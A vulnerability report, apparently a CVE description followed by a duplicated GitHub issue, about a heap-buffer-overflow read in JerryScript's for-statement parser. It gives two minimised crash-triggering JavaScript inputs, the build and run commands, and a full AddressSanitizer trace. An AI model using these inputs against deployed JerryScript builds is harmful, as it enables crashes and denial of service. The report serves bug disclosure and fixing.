A Heap-based Buffer Overflow vulnerability exists in JerryScript 2.4.0 and prior versions via an out-of-bounds read in parser_parse_for_statement_start in the js-parser-statm.c file. This issue is similar to CVE-2020-29657.
###### JerryScript revision
```sh
$ jerry --version
Version: 3.0.0 (5a69b183)
```

###### Build platform
```sh
$ echo "$(lsb_release -ds) ($(uname -mrs))"
Ubuntu 20.04.1 LTS (Linux 4.15.0-142-generic x86_64)
```

###### Build steps
```sh
$ python tools/build.py
```


###### Test case

There are two test cases, where `jerry_poc_crash.js` can trigger a direct crash of the clean-built jerry and `jerry_poc_asan.js` can trigger a heap-overflow of the ASAN-enabled-built jerry.

This bug is found by a naive fuzzer. And I use `afl-tmin` to reduce the test cases. I sincerely apologize for making them struggling.

+ jerry_poc_crash.js
```js
R=function(){({0:0})
function x(){for(v in 0){function o(){}function x(){for(;;)for(function(){class A extends function(){for(let;;){((function(){}))}0=function(){}
class e
```

+ jerry_poc_asan.js
```js
R = function() {
    function x(){
        function y(){
            for(;;)
                for(function(){
                    class A extends function() {
                        for(let;;) {
                            ((function(){}))
                        }
```


###### Execution steps
```sh
$ ~/release/jerryscript/build/bin/jerry jerry_poc_crash.js
Segmentation fault (core dumped)
```

```sh
$ ~/asan/jerryscript/build/bin/jerry jerry_poc_asan.js
==38036==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000005692 at pc 0x55555566952c bp 0x7fffffff9020 sp 0x7fffffff9010
READ of size 1 at 0x612000005692 thread T0
    #0 0x55555566952b  (/home/docker/asan/jerryscript/build/bin/jerry+0x11552b)
    #1 0x55555566a84e  (/home/docker/asan/jerryscript/build/bin/jerry+0x11684e)
    #2 0x555555589aa2  (/home/docker/asan/jerryscript/build/bin/jerry+0x35aa2)
    #3 0x55555579d5c9  (/home/docker/asan/jerryscript/build/bin/jerry+0x2495c9)
    #4 0x5555555dead1  (/home/docker/asan/jerryscript/build/bin/jerry+0x8aad1)
    #5 0x555555633868  (/home/docker/asan/jerryscript/build/bin/jerry+0xdf868)
    #6 0x5555555c6462  (/home/docker/asan/jerryscript/build/bin/jerry+0x72462)
    #7 0x5555557c2c8e  (/home/docker/asan/jerryscript/build/bin/jerry+0x26ec8e)
    #8 0x5555555f4ea1  (/home/docker/asan/jerryscript/build/bin/jerry+0xa0ea1)
    #9 0x5555555f6d8e  (/home/docker/asan/jerryscript/build/bin/jerry+0xa2d8e)
    #10 0x5555556188ae  (/home/docker/asan/jerryscript/build/bin/jerry+0xc48ae)
    #11 0x55555562451a  (/home/docker/asan/jerryscript/build/bin/jerry+0xd051a)
    #12 0x55555563e211  (/home/docker/asan/jerryscript/build/bin/jerry+0xea211)
    #13 0x5555555c1f67  (/home/docker/asan/jerryscript/build/bin/jerry+0x6df67)
    #14 0x5555557c2c8e  (/home/docker/asan/jerryscript/build/bin/jerry+0x26ec8e)
    #15 0x5555555f4ea1  (/home/docker/asan/jerryscript/build/bin/jerry+0xa0ea1)
    #16 0x5555555f6d8e  (/home/docker/asan/jerryscript/build/bin/jerry+0xa2d8e)
    #17 0x5555556188ae  (/home/docker/asan/jerryscript/build/bin/jerry+0xc48ae)
    #18 0x55555562451a  (/home/docker/asan/jerryscript/build/bin/jerry+0xd051a)
    #19 0x555555625454  (/home/docker/asan/jerryscript/build/bin/jerry+0xd1454)
    #20 0x555555634129  (/home/docker/asan/jerryscript/build/bin/jerry+0xe0129)
    #21 0x5555555c6462  (/home/docker/asan/jerryscript/build/bin/jerry+0x72462)
    #22 0x5555557c2c8e  (/home/docker/asan/jerryscript/build/bin/jerry+0x26ec8e)
    #23 0x55555560b8c8  (/home/docker/asan/jerryscript/build/bin/jerry+0xb78c8)
    #24 0x5555555c61c2  (/home/docker/asan/jerryscript/build/bin/jerry+0x721c2)
    #25 0x5555557c2c8e  (/home/docker/asan/jerryscript/build/bin/jerry+0x26ec8e)
    #26 0x55555560b8c8  (/home/docker/asan/jerryscript/build/bin/jerry+0xb78c8)
    #27 0x5555555c61c2  (/home/docker/asan/jerryscript/build/bin/jerry+0x721c2)
    #28 0x5555557c2c8e  (/home/docker/asan/jerryscript/build/bin/jerry+0x26ec8e)
    #29 0x5555555f4ea1  (/home/docker/asan/jerryscript/build/bin/jerry+0xa0ea1)
    #30 0x5555555f6d8e  (/home/docker/asan/jerryscript/build/bin/jerry+0xa2d8e)
    #31 0x5555556188ae  (/home/docker/asan/jerryscript/build/bin/jerry+0xc48ae)
    #32 0x55555562451a  (/home/docker/asan/jerryscript/build/bin/jerry+0xd051a)
    #33 0x5555555ca181  (/home/docker/asan/jerryscript/build/bin/jerry+0x76181)
    #34 0x5555557c982d  (/home/docker/asan/jerryscript/build/bin/jerry+0x27582d)
    #35 0x55555592b342  (/home/docker/asan/jerryscript/build/bin/jerry+0x3d7342)
    #36 0x5555555718c9  (/home/docker/asan/jerryscript/build/bin/jerry+0x1d8c9)
    #37 0x7ffff73ba0b2  (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #38 0x555555580add  (/home/docker/asan/jerryscript/build/bin/jerry+0x2cadd)

Address 0x612000005692 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/docker/asan/jerryscript/build/bin/jerry+0x11552b)
Shadow bytes around the buggy address:
  0x0c247fff8a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c247fff8ad0: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8af0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==38036==ABORTING
Aborted
```


###### Output
See above.

###### Backtrace
See above.

###### Expected behavior
Not to crash

Heap-overflow on an ill-formed JS program
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : Heap-overflow on an ill-formed JS program
Issue date:

--- start body ---
###### JerryScript revision
```sh
$ jerry --version
Version: 3.0.0 (5a69b183)
```

###### Build platform
```sh
$ echo "$(lsb_release -ds) ($(uname -mrs))"
Ubuntu 20.04.1 LTS (Linux 4.15.0-142-generic x86_64)
```

###### Build steps
```sh
$ python tools/build.py
```


###### Test case

There are two test cases, where `jerry_poc_crash.js` can trigger a direct crash of the clean-built jerry and `jerry_poc_asan.js` can trigger a heap-overflow of the ASAN-enabled-built jerry.

This bug is found by a naive fuzzer. And I use `afl-tmin` to reduce the test cases. I sincerely apologize for making them struggling.

+ jerry_poc_crash.js
```js
R=function(){({0:0})
function x(){for(v in 0){function o(){}function x(){for(;;)for(function(){class A extends function(){for(let;;){((function(){}))}0=function(){}
class e
```

+ jerry_poc_asan.js
```js
R = function() {
    function x(){
        function y(){
            for(;;)
                for(function(){
                    class A extends function() {
                        for(let;;) {
                            ((function(){}))
                        }
```


###### Execution steps
```sh
$ ~/release/jerryscript/build/bin/jerry jerry_poc_crash.js
Segmentation fault (core dumped)
```

```sh
$ ~/asan/jerryscript/build/bin/jerry jerry_poc_asan.js
==38036==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000005692 at pc 0x55555566952c bp 0x7fffffff9020 sp 0x7fffffff9010
READ of size 1 at 0x612000005692 thread T0
    #0 0x55555566952b  (/home/docker/asan/jerryscript/build/bin/jerry+0x11552b)
    #1 0x55555566a84e  (/home/docker/asan/jerryscript/build/bin/jerry+0x11684e)
    #2 0x555555589aa2  (/home/docker/asan/jerryscript/build/bin/jerry+0x35aa2)
    #3 0x55555579d5c9  (/home/docker/asan/jerryscript/build/bin/jerry+0x2495c9)
    #4 0x5555555dead1  (/home/docker/asan/jerryscript/build/bin/jerry+0x8aad1)
    #5 0x555555633868  (/home/docker/asan/jerryscript/build/bin/jerry+0xdf868)
    #6 0x5555555c6462  (/home/docker/asan/jerryscript/build/bin/jerry+0x72462)
    #7 0x5555557c2c8e  (/home/docker/asan/jerryscript/build/bin/jerry+0x26ec8e)
    #8 0x5555555f4ea1  (/home/docker/asan/jerryscript/build/bin/jerry+0xa0ea1)
    #9 0x5555555f6d8e  (/home/docker/asan/jerryscript/build/bin/jerry+0xa2d8e)
    #10 0x5555556188ae  (/home/docker/asan/jerryscript/build/bin/jerry+0xc48ae)
    #11 0x55555562451a  (/home/docker/asan/jerryscript/build/bin/jerry+0xd051a)
    #12 0x55555563e211  (/home/docker/asan/jerryscript/build/bin/jerry+0xea211)
    #13 0x5555555c1f67  (/home/docker/asan/jerryscript/build/bin/jerry+0x6df67)
    #14 0x5555557c2c8e  (/home/docker/asan/jerryscript/build/bin/jerry+0x26ec8e)
    #15 0x5555555f4ea1  (/home/docker/asan/jerryscript/build/bin/jerry+0xa0ea1)
    #16 0x5555555f6d8e  (/home/docker/asan/jerryscript/build/bin/jerry+0xa2d8e)
    #17 0x5555556188ae  (/home/docker/asan/jerryscript/build/bin/jerry+0xc48ae)
    #18 0x55555562451a  (/home/docker/asan/jerryscript/build/bin/jerry+0xd051a)
    #19 0x555555625454  (/home/docker/asan/jerryscript/build/bin/jerry+0xd1454)
    #20 0x555555634129  (/home/docker/asan/jerryscript/build/bin/jerry+0xe0129)
    #21 0x5555555c6462  (/home/docker/asan/jerryscript/build/bin/jerry+0x72462)
    #22 0x5555557c2c8e  (/home/docker/asan/jerryscript/build/bin/jerry+0x26ec8e)
    #23 0x55555560b8c8  (/home/docker/asan/jerryscript/build/bin/jerry+0xb78c8)
    #24 0x5555555c61c2  (/home/docker/asan/jerryscript/build/bin/jerry+0x721c2)
    #25 0x5555557c2c8e  (/home/docker/asan/jerryscript/build/bin/jerry+0x26ec8e)
    #26 0x55555560b8c8  (/home/docker/asan/jerryscript/build/bin/jerry+0xb78c8)
    #27 0x5555555c61c2  (/home/docker/asan/jerryscript/build/bin/jerry+0x721c2)
    #28 0x5555557c2c8e  (/home/docker/asan/jerryscript/build/bin/jerry+0x26ec8e)
    #29 0x5555555f4ea1  (/home/docker/asan/jerryscript/build/bin/jerry+0xa0ea1)
    #30 0x5555555f6d8e  (/home/docker/asan/jerryscript/build/bin/jerry+0xa2d8e)
    #31 0x5555556188ae  (/home/docker/asan/jerryscript/build/bin/jerry+0xc48ae)
    #32 0x55555562451a  (/home/docker/asan/jerryscript/build/bin/jerry+0xd051a)
    #33 0x5555555ca181  (/home/docker/asan/jerryscript/build/bin/jerry+0x76181)
    #34 0x5555557c982d  (/home/docker/asan/jerryscript/build/bin/jerry+0x27582d)
    #35 0x55555592b342  (/home/docker/asan/jerryscript/build/bin/jerry+0x3d7342)
    #36 0x5555555718c9  (/home/docker/asan/jerryscript/build/bin/jerry+0x1d8c9)
    #37 0x7ffff73ba0b2  (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #38 0x555555580add  (/home/docker/asan/jerryscript/build/bin/jerry+0x2cadd)

Address 0x612000005692 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/docker/asan/jerryscript/build/bin/jerry+0x11552b)
Shadow bytes around the buggy address:
  0x0c247fff8a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c247fff8ad0: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8af0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff8b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==38036==ABORTING
Aborted
```


###### Output
See above.

###### Backtrace
See above.

###### Expected behavior
Not to crash

--- end body ---
